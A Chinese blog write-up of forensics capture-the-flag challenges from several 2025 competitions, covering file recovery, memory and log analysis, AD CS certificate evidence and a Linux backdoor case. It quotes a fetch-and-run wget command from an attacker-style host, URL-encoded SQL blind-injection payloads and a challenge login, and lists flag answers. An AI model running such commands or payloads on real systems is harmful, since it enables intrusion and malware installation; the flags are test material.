百度地址如何设置门店地址seo蜘蛛池
文章目录
- 2025数字中国创新大赛数字安全赛道
- 溯源与取证-1
- 溯源与取证-2
- 溯源与取证-3
- 2025-软件系统安全攻防半决赛的取证题目
- 取证1
- 取证2
- 取证3
- 2025CCB&CISCN半决赛的取证题目
- flag1
- flag2
- flag3
- flag4
复现一下近几次比赛遇到的取证的题目, 了解一下基本的取证的一些操作以及一些工具的用法
避免之后再遇到取证的题目无从下手
2025数字中国创新大赛数字安全赛道
溯源与取证-1
描述: 运维人员误删除了一个重要的word文件,请通过数据恢复手段恢复该文件,文件内容即为答案。
用R-Studio
打开img附件, 可以找到被删除的文件
将这个文件恢复, 然后改成zip
文件后缀, 打开会发现还有很多其他的文件
在word里面的document.xml里面可以找到flag
b1e9517338f261396511359bce56bf58
溯源与取证-2
描述:服务器网站遭到了黑客攻击,但服务器的web日志文件被存放在了加密驱动器中,请解密获得该日志并将黑客ip作为答案提交。
将内存文件恢复, 解压
使用Lovelymems
打开文件
先扫描 一下文件, 根据题目的描述要找日志文件, 搜索一下日志 , 将其导出
直接右键导出, 虽然显示了命令执行成功, 但是不知道为什么并没有导出文件 (有点奇怪)
参照文章: https://1cepeak.cn/posts/szzg2025-datasecurity-writeup/
可以发现使用这个命令 windows.dumpfiles --physaddr 0x7c23ba40
可以发现导出的文件在软件根目录下找到
打开文件, 可以发现攻击者执行的sql注入攻击
114.10.143.92
溯源与取证-3
描述: 经分析,黑客在攻击中窃取了一些重要信息,请分析web日志,获取黑客窃取的相关信息,并将黑客窃取的所有身份证号按照其姓名拼音首字母升序排序,并计算其32位小写md5作为答案提交(如zhangsan的身份证是110101199001011234,lisi的身份证是110101198505051234,zhangfei的身份证是110101199203031234,则最终顺序为110101198505051234110101199203031234110101199001011234,计算其32小写md5”9ac198054af03107b2452bee3091b9ef”就是答案)
日志里面的内容都是sql盲注的语句, 存在两种状态, 一种是 200 720
一种是200 704
绝大部分都是720的, 小部分是704的, 所以704部分的语句就是正确查询出结果的语句, 所以需要把这部分语句给提取出来
# import re
#
# file = r"access.log"
# outfile= "1.log"
# patten = re.compile(r'GET (.*?) HTTP/1.1" 200 704') # 匹配成功的sql注入表达
#
# # 将成功查询的语句筛选出来
# # with open(file,"r",encoding="utf-8") as inline, open(outfile,"w",encoding="utf-8") as outfile:
# # for line in inline:
# # match = patten.search(line)
# # if match:
# # content = match.group(1)
# # outfile.write(content + "\n")
#
#
# #/manager/user/?id=1%27%20and%20ascii(substr((select%20name%20from%20info%20limit%209,1),3,1))=76%20--+
# #/manager/user/?id=1%27%20and%20ascii(substr((select%20id_card%20from%20info%20limit%2019,1),15,1))=49%20--+
#
# name1="name"
# name2="id_card"
# # patten2=re.compile(rf'/manager/user/\?id=1%27%20and%20ascii\(substr\(\(select%20{name1}%20from%20info%20limit%20(\d+),1\),(\d+),1\)\)=(\d+)')
# patten2=re.compile(rf'/manager/user/\?id=1%27%20and%20ascii\(substr\(\(select%20{name2}%20from%20info%20limit%20(\d+),1\),(\d+),1\)\)=(\d+)')
#
# data = {}
# with open(outfile,"r",encoding="utf-8") as f:
# for line in f:
# match = patten2.search(line.strip())
# if match:
# index,key,value=map(int, match.groups())
# char = chr(value)
# if index not in data:
# data[index]={}
# data[index][key]=char
# else:
# continue
#
# data2 = {
# index:"".join(data[index][i] for i in sorted(data[index]))
# for index in sorted(data)
# }
#
# print(data2)names={0: 'WangWei', 1: 'LiNa', 2: 'ZhangQiang', 3: 'ChenFang', 4: 'LiuTao', 5: 'ZhouMin', 6: 'ZhaoGang', 7: 'YangXue', 8: 'HuangLei', 9: 'XuLi', 10: 'SunHao', 11: 'ZhuLin', 12: 'MaChao', 13: 'HeJing', 14: 'GaoFei', 15: 'LinYan', 16: 'GuoYong', 17: 'LuoMin', 18: 'LiangJun', 19: 'SongJia', 20: 'XieFang'}
cards={0: '110101199001011234', 1: '310115198502021234', 2: '440305199503031234', 3: '500101200012121234', 4: '330106197708081234', 5: '210202198609091234', 6: '420103199912121234', 7: '510104199311111234', 8: '230107196504041234', 9: '320508200005051234', 10: '130104198707071234', 11: '410105199206061234', 12: '220203198808081234', 13: '610112200109091234', 14: '340104197612121234', 15: '370202199404041234', 16: '530102199810101234', 17: '450305198303031234', 18: '120105197411111234', 19: '350203200202021234', 20: '430104199707071234'}
name_card={}for i in names:name_card[names[i]]=cards[i]
# print(name_card)#{'WangWei': '110101199001011234', 'LiNa': '310115198502021234', 'ZhangQiang': '440305199503031234', 'ChenFang': '500101200012121234', 'LiuTao': '330106197708081234', 'ZhouMin': '210202198609091234', 'ZhaoGang': '420103199912121234', 'YangXue': '510104199311111234', 'HuangLei': '230107196504041234', 'XuLi': '320508200005051234', 'SunHao': '130104198707071234', 'ZhuLin': '410105199206061234', 'MaChao': '220203198808081234', 'HeJing': '610112200109091234', 'GaoFei': '340104197612121234', 'LinYan': '370202199404041234', 'GuoYong': '530102199810101234', 'LuoMin': '450305198303031234', 'LiangJun': '120105197411111234', 'SongJia': '350203200202021234', 'XieFang': '430104199707071234'}#两种方法对其姓名拼音首字母排序, 排序的结果不一样. 第二种才是正确的sort1=dict(sorted(name_card.items(), key=lambda x: x[0]))
print(sort1)
#{'ChenFang': '500101200012121234', 'GaoFei': '340104197612121234', 'GuoYong': '530102199810101234', 'HeJing': '610112200109091234', 'HuangLei': '230107196504041234', 'LiNa': '310115198502021234', 'LiangJun': '120105197411111234', 'LinYan': '370202199404041234', 'LiuTao': '330106197708081234', 'LuoMin': '450305198303031234', 'MaChao': '220203198808081234', 'SongJia': '350203200202021234', 'SunHao': '130104198707071234', 'WangWei': '110101199001011234', 'XieFang': '430104199707071234', 'XuLi': '320508200005051234', 'YangXue': '510104199311111234', 'ZhangQiang': '440305199503031234', 'ZhaoGang': '420103199912121234', 'ZhouMin': '210202198609091234', 'ZhuLin': '410105199206061234'}import locale
# 设置本地化环境为中文
locale.setlocale(locale.LC_ALL, 'zh_CN.UTF-8')
sort2 = dict(sorted(name_card.items(), key=lambda x: locale.strxfrm(x[0])))
print(sort2)
#{'ChenFang': '500101200012121234', 'GaoFei': '340104197612121234', 'GuoYong': '530102199810101234', 'HeJing': '610112200109091234', 'HuangLei': '230107196504041234', 'LiangJun': '120105197411111234', 'LiNa': '310115198502021234', 'LinYan': '370202199404041234', 'LiuTao': '330106197708081234', 'LuoMin': '450305198303031234', 'MaChao': '220203198808081234', 'SongJia': '350203200202021234', 'SunHao': '130104198707071234', 'WangWei': '110101199001011234', 'XieFang': '430104199707071234', 'XuLi': '320508200005051234', 'YangXue': '510104199311111234', 'ZhangQiang': '440305199503031234', 'ZhaoGang': '420103199912121234', 'ZhouMin': '210202198609091234', 'ZhuLin': '410105199206061234'}finnal = "".join(sort2.values())
print(finnal)
#500101200012121234340104197612121234530102199810101234610112200109091234230107196504041234120105197411111234310115198502021234370202199404041234330106197708081234450305198303031234220203198808081234350203200202021234130104198707071234110101199001011234430104199707071234320508200005051234510104199311111234440305199503031234420103199912121234210202198609091234410105199206061234
#md5后的结果--> 060b534ffb5c4a487be36cca98165e73
参考文章:
https://1cepeak.cn/posts/szzg2025-datasecurity-writeup/#%E6%BA%AF%E6%BA%90%E4%B8%8E%E5%8F%96%E8%AF%81
2025-软件系统安全攻防半决赛的取证题目
取证1
小梁的域控机器被黑客攻击了,请你找出一些蛛丝马迹。 攻击者通过AD CS提权至域管理员,在攻击过程中,攻击者使用有问题的证书模版注册了一张证书,该证书的证书模版名、证书序列号是什么?(格式为模版名-序列号,如CertTemplate-2f000000064287f6f5d6ff4a91000000000006)
挂载镜像
可以看到挂载的镜像了
挂载完镜像后, 就开始翻文件一个一个的去找
\Windows\System32\CertLog
可以在这个路径下找到一个hack-CA.edb
文件
使用ESEDatabaseView.exe
这个工具打开
可以发现一个一个标题为SerialNumber
的一栏, 就是证书的序列号了
继续翻找, 找到几个证书名字
将得到的这些序列号和证书名排列组合一下就可以得到最终的结果了
MyTem-5400000003eedab5344b2e5da5000000000003
取证2
小梁的域控机器被黑客攻击了,请你找出一些蛛丝马迹。 攻击者在获取域管理员权限后,尝试上传木马文件,但是被杀毒软件查杀,上传的木马文件的绝对路径是什么?(如C:\Windows\cmd.exe) 题目附件同DC-Forensics-1
在 Windows 系统中,C:\Windows\System32\winevt\Logs 目录存储了 Windows 事件日志(Event Logs),其中包含各种系统、安全和应用程序的日志记录
在这个目录下可以看到很多的事件日志
打开defender的日志
可以在里面找到 C:\Users\Public\e9caab4405a14fb6.exe
取证3
小梁的域控机器被黑客攻击了,请你找出一些蛛丝马迹。 攻击者从机器中提取出了用户的连接其他机器的Windows企业凭据,凭据的连接IP、用户名、密码是什么?(格式为IP-用户名-密码,如127.0.0.1-sam-123456) 题目附件同DC-Forensics-1
在Users\john\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
路径下可以找到一个history文件
可以看到用户名和密码
比赛的时候是一个没找出来, 那么多的文件完全不知从何下手啊, 一脸懵逼😵💫😢
参考文章:
https://xz.aliyun.com/news/17408?time__1311=eqUxn7DQG%3DWSD%2Fb0%2BxQqAKit7d5Gw94pD&u_atoken=0d1319d2d7d362dedc5347c345c7c4e4&u_asig=1a0c399d17435953962204926e0038
2025CCB&CISCN半决赛的取证题目
小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除)
头,获取攻击者主机权限获取fag 文件:现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源
入口主机请通过 ssh 进行登录,
登录口令为:ubuntu/admin_123456,如需 root权限请使用sudo;
flag1
找出主机上木马回连的主控端服务器P地址[不定时们~5分钟)周期性],并以1gMD5形式提交,其中MD5加密目标的原始字符串格式lP:pot。
使用工具R-Studio
打开镜像, 可以看到整个所有目录文件
给了一个ubuntu的用户, 进入到这个目录下
可以看到一个1.txt
再看到 .Viminfo
进入到system文件下, 看到system-upgrade.service
文件
继续跟踪system-upgrade.ko
记事本打开文件, 可以发现一个ip以及一些端口号, 都试应该可以知道是4948
端口, 逆向一下可能就会看的更清晰一点了
192.168.57.203:4948
flag2
找出主机上驻留的远控木马文件本体,计算该文件的MD5,结果提交形式:flag{md5}
依旧是这里, 既然木马回连的主控服务端ip在这里, 那么木马应该就会在’附件’执行相应的命令之类的, 并且这个文件还执行了一个chmod +x
的一个命令, 大概率就是下载的木马文件了
将其恢复一下,下载到本地, 计算一下md5
bccad26b665ca175cd02aca2903d8b1e
flag3
找出主机上加载远控木马的持久化程序(下载者)
其功能为下载并执行远控木马,计算该文件的MD5,结果提交形式:fag(MD5}
下载并执行远程木马的不就是前面的system-upgrade.ko
文件里面的内容吗, 这个文件里面下载了远程的木马, 并且chmod+x
尝试执行, 所以这里应该就是system-upgrade.ko
文件
78edba7cbd107eb6e3d2f90f5eca734e
flag4
查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5)。
回到前面的1.txt的内容, 可以知道是这里下载的.system_upgrade
文件, 这就是原始的文件了
wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
所以原始的名称就是 .system_upgrade
9729aaace6c83b11b17b6bc3b340d00b
后面的几个要么需要逆向, 要么需要登录靶机, 就都复现不了了
参考文章:
https://tryhackmyoffsecbox.github.io/Target-Machines-WriteUp/blog/2025CCB&CISCN-Semis-ISW/#4